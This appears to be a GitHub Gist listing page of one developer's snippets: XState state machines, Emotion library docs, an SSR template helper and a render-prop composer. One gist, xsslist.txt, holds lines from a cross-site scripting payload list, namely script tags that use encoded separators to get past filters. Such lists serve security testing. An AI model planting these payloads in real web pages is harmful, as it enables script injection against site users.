Skip to content

Instantly share code, notes, and snippets.

View machine.js
// Available variables:
// - Machine
// - interpret
// - assign
// - send
// - sendParent
// - spawn
// - raise
// - actions
View machine.js
const targetingMachine = Machine({
id: "adHoc",
initial: "targetCategory",
context: {
targetType: "host",
targetSelection: "parameter", // param / exact
strategy: "random",
selectedTargets: new Set(),
targetParams: {
/*[key]: new Set() */
@tkh44
tkh44 / machine.js
Last active Feb 19, 2021
Generated by XState Viz: https://xstate.js.org/viz
View machine.js
// Available variables:
// - Machine
// - interpret
// - assign
// - send
// - sendParent
// - spawn
// - raise
// - actions
// - XState (all XState exports)
@tkh44
tkh44 / machine.js
Last active Feb 11, 2021
Generated by XState Viz: https://xstate.js.org/viz
View machine.js
// Available variables:
// - Machine
// - interpret
// - assign
// - send
// - sendParent
// - spawn
// - raise
// - actions
// - XState (all XState exports)
View test
Hello there.
@tkh44
tkh44 / xsslist.txt
Last active Aug 27, 2020
XSS list <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
View xsslist.txt
<!-- Project Name : Cross Site Scripting ( XSS ) Vulnerability Payload List -->
<!-- Author : Ismail Tasdelen -->
<!-- Linkedin : https://www.linkedin.com/in/ismailtasdelen/ -->
<!-- GitHub : https://github.com/ismailtasdelen/ -->
<!-- Twitter : https://twitter.com/ismailtsdln -->
<!-- Medium : https://medium.com/@ismailtasdelen -->
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
@tkh44
tkh44 / Introduction.md
Created Jan 11, 2019
Working on updating emotion docs. Feedback welcome!
View Introduction.md
title
Introduction

Emotion is a lightweight library designed for writing styles in JavaScript, enabling powerful and predictable style composition using both string and object styles. It also provides a great developer experience with features such as source maps, labels, and testing utilities.


There are two primary methods of using Emotion. The first is framework agnostic and the second is for use with React.

@tkh44
tkh44 / html.js
Last active Nov 20, 2018
Simple SSR template library with scoped styles
View html.js
const hash = require('@emotion/hash')
const weakMemoize = require('@emotion/weak-memoize')
export function html (strings, ...interpolations) {
return strings.reduce(
(final, str, i) =>
final +
str +
(interpolations[i] === undefined
? ''
View render prop composer.md

I was looking for a better way to compose multiple render prop based components. https://codesandbox.io/s/pm04m73n2x

const h = React.createElement;

const id = x => x;

const basicRenderCb = (result, Next) => // Next is the next component in the list.
  h(Next, result);
View beginnings.js
var objectForeach = require("object-foreach");
// list of keys to make the tree structure map
const store = {
optimist: [],
entities: {
users: {}
}
};